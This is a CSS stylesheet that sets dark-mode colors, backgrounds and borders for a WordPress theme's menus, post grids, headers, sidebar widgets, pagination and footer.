body.pcdm-enable.pcdark-mode ul.mega-menu-list a:hover,
body.pcdm-enable.pcdark-mode .post-entry ul.mega-menu-list a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .mega-menu-list > li.heading-style-style-2 > a:after {
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .elementor .elementor-element .elementor-icon-list-text,
body.pcdm-enable.pcdark-mode .mega-menu-list li a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label {
    color: var(--pctext-cl);
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-1:before,
body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-2:before {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-3 {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-3:before {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .mega-menu-list .menu-label.label-style-4:before {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .format-post-box .post-format-icon i {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .format-post-box .dt-special,
body.pcdm-enable.pcdark-mode .format-post-box .dt-special a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .format-post-box .dt-special a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .author-quote span {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .header-standard h2,
body.pcdm-enable.pcdark-mode .header-standard .pc_titlebig_standard,
body.pcdm-enable.pcdark-mode .header-standard .pc_titlebig_standard a,
body.pcdm-enable.pcdark-mode .header-standard .post-title,
body.pcdm-enable.pcdark-mode .header-standard h2 a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .pcsb-subtt .penci-psub-title,
body.pcdm-enable.pcdark-mode .container-single .header-standard h2.penci-psub-title,
body.pcdm-enable.pcdark-mode .container-single h2.penci-psub-title {
    color: var(--pcmeta-cl);
}
@media only screen and (min-width: 768px) {
    body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard h2.penci-psub-title,
    body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard h2.penci-psub-title {
        color: var(--pcbg-l-cl);
    }
}
body.pcdm-enable.pcdark-mode .header-standard .pc_titlebig_standard a:hover,
body.pcdm-enable.pcdark-mode .header-standard h2 a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .header-standard .author-post span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .header-standard .author-post span a:hover {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .penci-more-link a.more-link {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-more-link.penci-more-link-button a.more-link {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta span,
body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .pcsl-thumb .icon-post-format,
body.pcdm-enable.pcdark-mode .penci-grid li .item .thumbnail .icon-post-format,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry > .thumbnail .icon-post-format,
body.pcdm-enable.pcdark-mode .grid-mixed .thumbnail .icon-post-format {
    color: rgba(255, 255, 255, 0.9);
}
body.pcdm-enable.pcdark-mode .penci-grid li .item .cat,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry .cat {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid li .item h2 a:hover,
body.pcdm-enable.pcdark-mode .penci-masonry .item-masonry h2 a:hover {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-readmore-btn i,
body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore i {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-readmore-btn.penci-btn-make-button a,
body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore.penci-btn-make-button a {
    color: #fff;
}
body.pcdm-enable.pcdark-mode .cat > a.penci-cat-name {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail h2 a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .grid-mixed .mixed-detail h2 a:hover {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .grid-post-box-meta span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .grid-post-box-meta span a.comment-link {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .grid-post-box-meta span a:hover,
body.pcdm-enable.pcdark-mode .grid-post-box-meta span a.comment-link:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-infor .penci-entry-title a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-featured-infor .penci-entry-title a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .typography-style .main-typography a.penci-cat-name {
    color: var(--pctext-cl);
    border-color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .grid-post-box-meta span a:hover,
body.pcdm-enable.pcdark-mode .penci-grid li.typography-style .item .main-typography h2 a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-photo-2-effect figcaption h2,
body.pcdm-enable.pcdark-mode .penci-photo-2-effect figcaption p {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.penci-magazine-title h3 a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .magcat-thumb .icon-post-format,
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a.icon-post-format,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-image a.icon-post-format {
    color: rgba(255, 255, 255, 0.9);
}
body.pcdm-enable.pcdark-mode .penci-magcat-carousel .magcat-thumb .mag-post-thumb i {
    color: rgba(255, 255, 255, 0.9);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .magcat-detail h3 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span:after {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-single-mag-slider .magcat-detail .magcat-titlte a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-single-mag-slider .magcat-detail .magcat-titlte a:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-single-mag-slider .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .penci-single-mag-slider .grid-post-box-meta span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a:hover {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta span,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta span a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .home-pupular-posts-title a,
body.pcdm-enable.pcdark-mode .home-pupular-posts-title span {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-single-featured-img {
    background-color: #f5f5f5;
}
@media only screen and (min-width: 768px) {
    body.pcdm-enable.pcdark-mode .penci-header-text-white .cat > a.penci-cat-name,
    body.pcdm-enable.pcdark-mode .penci-single-style-5.penci-header-text-white .penci-standard-cat .cat > a.penci-cat-name,
    body.pcdm-enable.pcdark-mode .penci-single-style-6.penci-header-text-white .penci-standard-cat .cat > a.penci-cat-name,
    body.pcdm-enable.pcdark-mode .penci-single-style-8.penci-header-text-white .penci-standard-cat .cat > a.penci-cat-name,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard h2,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard .pc_titlebig_standard,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard .post-title,
    body.pcdm-enable.pcdark-mode .container-single.penci-header-text-white .header-standard .post-title,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard h2 a,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard .pc_titlebig_standard a,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .post-box-meta-single span,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .header-standard .author-post span a,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .container.penci-breadcrumb span,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .container.penci-breadcrumb i,
    body.pcdm-enable.pcdark-mode .penci-header-text-white .container.penci-breadcrumb a {
        color: var(--pctext-cl);
    }
}
body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .penci-standard-cat .cat > a.penci-cat-name,
body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard h2,
body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard .pc_titlebig_standard,
body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard .pc_titlebig_standard a,
body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard .post-title,
body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard h2 a,
body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .post-box-meta-single span,
body.pcdm-enable.pcdark-mode .penci-single-style-10.penci-header-text-white .header-standard .author-post span a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode i.penci-post-countview-number {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-single-style-9 .penci-post-image-wrapper {
    background-color: #111;
}
body.pcdm-enable.pcdark-mode .penci-single-style-10 .penci-post-image-wrapper {
    background-color: #111;
}
body.pcdm-enable.pcdark-mode .post-box-meta-single span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-box-meta-single span strong,
body.pcdm-enable.pcdark-mode .post-box-meta-single span time {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .post-box-meta-single a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .post-box-meta-single a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-slick-slider > button.slick-prev,
body.pcdm-enable.pcdark-mode .penci-slick-slider > button.slick-next {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .post-entry .elementor-widget-text-editor p,
body.pcdm-enable.pcdark-mode .elementor-widget-text-editor p,
body.pcdm-enable.pcdark-mode .elementor-widget-text-editor .widget ul li {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-section:not(.penci-elbg-img) *,
body.pcdm-enable.pcdark-mode .penci-section:not(.penci-elbg-img) a {
    color: var(--pctext-cl) !important;
}
body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-subtitle .penci-bgitem:hover .pcbg-sub-title a,
body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-meta .penci-bgitem:hover .pcbg-meta-desc,
body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-title .penci-bgitem:hover .pcbg-title,
body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-subtitle .pcbg-sub-title a,
body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-meta .pcbg-meta-desc,
body.pcdm-enable.pcdark-mode .penci-biggrid-wrapper.pcbg-mask-title .pcbg-title {
    background-color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .penci-section:not(.penci-elbg-img) a:hover {
    color: var(--pcaccent-cl) !important;
}
body.pcdm-enable.pcdark-mode .post-entry h1,
body.pcdm-enable.pcdark-mode .post-entry h2,
body.pcdm-enable.pcdark-mode .post-entry h3,
body.pcdm-enable.pcdark-mode .post-entry h4,
body.pcdm-enable.pcdark-mode .post-entry h5,
body.pcdm-enable.pcdark-mode .post-entry h6,
body.pcdm-enable.pcdark-mode .wpb_text_column h1,
body.pcdm-enable.pcdark-mode .wpb_text_column h2,
body.pcdm-enable.pcdark-mode .wpb_text_column h3,
body.pcdm-enable.pcdark-mode .wpb_text_column h4,
body.pcdm-enable.pcdark-mode .wpb_text_column h5,
body.pcdm-enable.pcdark-mode .wpb_text_column h6,
body.pcdm-enable.pcdark-mode.woocommerce .page-description h1,
body.pcdm-enable.pcdark-mode.woocommerce .page-description h2,
body.pcdm-enable.pcdark-mode.woocommerce .page-description h3,
body.pcdm-enable.pcdark-mode.woocommerce .page-description h4,
body.pcdm-enable.pcdark-mode.woocommerce .page-description h5,
body.pcdm-enable.pcdark-mode.woocommerce .page-description h6 {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .post-password-form input[type="submit"] {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-entry blockquote,
body.pcdm-enable.pcdark-mode .post-entry blockquote p,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote p,
body.pcdm-enable.pcdark-mode.woocommerce .page-description blockquote,
body.pcdm-enable.pcdark-mode.woocommerce .page-description blockquote p {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-entry blockquote:before,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote:before,
body.pcdm-enable.pcdark-mode .woocommerce .page-description blockquote:before {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .price,
body.pcdm-enable.pcdark-mode .woocommerce ul.products li.product .price,
body.pcdm-enable.pcdark-mode .post-entry blockquote cite,
body.pcdm-enable.pcdark-mode .post-entry blockquote .author,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote cite,
body.pcdm-enable.pcdark-mode .wpb_text_column blockquote .author,
body.pcdm-enable.pcdark-mode.woocommerce .page-description blockquote cite,
body.pcdm-enable.pcdark-mode.woocommerce .page-description blockquote .author {
    color: var(--pcaccent-cl) !important;
}
body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .price *,
body.pcdm-enable.pcdark-mode .woocommerce ul.products li.product .price * {
    color: inherit !important;
}
body.pcdm-enable.pcdark-mode .penci-single-link-pages a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .post-entry td,
body.pcdm-enable.pcdark-mode .post-entry th {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .pencisc-button,
body.pcdm-enable.pcdark-mode .post-entry .pencisc-button,
body.pcdm-enable.pcdark-mode .woocommerce-product-details__short-description .pencisc-button {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci_list_shortcode li:before {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-highlight-black {
    background-color: rgba(0, 0, 0, 0.8);
    color: gray;
}
body.pcdm-enable.pcdark-mode .penci-highlight-black:hover {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-highlighted-black {
    background-color: rgba(0, 0, 0, 0.8);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-highlighted-red {
    background-color: red;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-highlighted-blue {
    background-color: #3f51b5;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-highlighted-green {
    background-color: green;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-highlighted-yellow {
    background-color: #ffcb00;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-highlighted-pink {
    background-color: #ffc0cb;
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-dropcap-box {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-dropcap-circle {
    background-color: var(--pcaccent-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-dropcap-regular {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-dropcap-bold {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-ilrelated-posts .pcilrp-item-grid .pcilrp-title a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pcilrp-meta span {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .gird-post-share a {
    color: #939393;
}
body.pcdm-enable.pcdark-mode .gird-post-share a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .post-tags {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-tags > span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .nc_socialPanel .nc_tweetContainer a.nc_tweet,
body.pcdm-enable.pcdark-mode .swp_social_panel .nc_tweetContainer a.nc_tweet {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-share .count-number-like {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .post-share a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .post-share a:hover,
body.pcdm-enable.pcdark-mode .post-share a.liked {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box .single-comment-o {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-share a .dt-share {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .penci-social-share-text {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share .count-number-like,
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3 .post-share-item {
    color: var(--pctext-cl);
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .abio-style-4 .author-img img {
    background-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .author-content h5 {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .post-pagination .arrow {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #respond h3.comment-reply-title span,
body.pcdm-enable.pcdark-mode .post-box-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-carousel button.slick-prev,
body.pcdm-enable.pcdark-mode .penci-carousel button.slick-next {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider .penci-owl-dot.active span,
body.pcdm-enable.pcdark-mode .penci-related-carousel .penci-owl-dot.active span {
    border-color: var(--pcaccent-cl);
    background-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-post a i,
body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-post a i,
body.pcdm-enable.pcdark-mode .item-related > a i,
body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-thumb .mag-post-thumb i,
body.pcdm-enable.pcdark-mode .penci-grid.penci-fea-cat-style-13 li .item .thumbnail .icon-post-format {
    color: rgba(255, 255, 255, 0.9);
}
body.pcdm-enable.pcdark-mode ul.slick-dots li button:hover,
body.pcdm-enable.pcdark-mode ul.slick-dots li.slick-active button {
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .under-construction-page .under-title {
    color: var(--pclh-cl);
}
body.pcdm-enable.pcdark-mode .penci-countdown .countdown-amount {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci-countdown .countdown-period {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination a,
body.pcdm-enable.pcdark-mode .penci-pagination .disable-url {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination .newer:after {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span,
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a,
body.pcdm-enable.pcdark-mode #comments_pagination span,
body.pcdm-enable.pcdark-mode #comments_pagination a {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a:hover,
body.pcdm-enable.pcdark-mode #comments_pagination a:hover {
    color: var(--pclh-cl);
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button .ajax-more-text {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts span.ajaxdot:after {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button i {
    color: inherit;
}
body.pcdm-enable.pcdark-mode #footer-section {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #footer-copyright * {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #footer-copyright a {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode #footer-section .go-to-top-parent span {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode #footer-section .go-to-top-parent i {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci-go-to-top-floating i {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content .widget-title {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow::after {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title.style-2:after,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-2 .penci-border-arrow:after {
    border-color: transparent;
    border-top-color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12 .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow {
    background-color: var(--pcborder-cl);
    color: var(--pcbg-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13 .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-14 .inner-arrow,
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow a,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12 .inner-arrow a,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13 .inner-arrow a,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-14 .inner-arrow a {
    color: inherit;
}
body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-18 .penci-border-arrow:after,
body.pcdm-enable.pcdark-mode .penci-homepage-title.style-18.penci-border-arrow:after {
    color: var(--pcbg-l-cl);
}
body.pcdm-enable.pcdark-mode .widget ul li {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .widget a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .widget a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-1 ul li,
body.pcdm-enable.pcdark-mode .widget.widget_categories ul li,
body.pcdm-enable.pcdark-mode .widget.widget_archive ul li {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-1 ul li span.category-item-count,
body.pcdm-enable.pcdark-mode .widget.widget_categories ul li span.category-item-count {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode form.pc-searchform i {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .widget form.pc-searchform input.search-input,
body.pcdm-enable.pcdark-mode .penci-sidebar-content .widget form.pc-searchform input.search-input {
    background-color: transparent;
}
body.pcdm-enable.pcdark-mode .about-widget .about-me-heading {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-2 a,
body.pcdm-enable.pcdark-mode .widget .tagcloud a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-2 a:hover,
body.pcdm-enable.pcdark-mode .widget .tagcloud a:hover {
    color: var(--pctext-cl);
    border-color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode #wp-calendar caption {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .post-entry #wp-calendar caption {
    color: inherit;
}
body.pcdm-enable.pcdark-mode #wp-calendar tbody {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode #wp-calendar tbody td a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a span.count-post,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-image a span.count-post {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text h4 a {
    color: var(--pcheading-cl);
}
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a:hover,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text .side-item-meta,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta {
    color: var(--pcmeta-cl);
}
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover {
    color: var(--pcaccent-cl);
}
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .order-border-number,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .order-border-number {
    background-color: rgba(255, 255, 255, 0.3);
}
body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .number-post,
body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .number-post {
    background-color: var(--pcbg-l-cl);
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .side-newsfeed.pctlst {
    border-color: var(--pcborder-cl);
}
body.pcdm-enable.pcdark-mode .penci_post-slider-sc .penci-post-slider-style-1 .penci-widget-slide-detail h4 a,
body.pcdm-enable.pcdark-mode .penci_post-slider-sc .penci-post-slider-style-2 .penci-widget-slide-detail h4 a,
body.pcdm-enable.pcdark-mode .widget .penci-widget-slider .penci-widget-slide-detail h4 a {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci_post-slider-sc .penci-post-slider-style-3 .penci-widget-slide-detail h4 a {
    color: var(--pcl-cl);
}
body.pcdm-enable.pcdark-mode .penci-widget-slide-detail .slide-item-date {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-prev,
body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-next,
body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-prev,
body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-next {
    color: var(--pctext-cl);
}
body.pcdm-enable.pcdark-mode .widget .penci-widget-slider.penci-post-slider-style-3 .penci-widget-slide-detail h4 a {
    color: inherit;
}
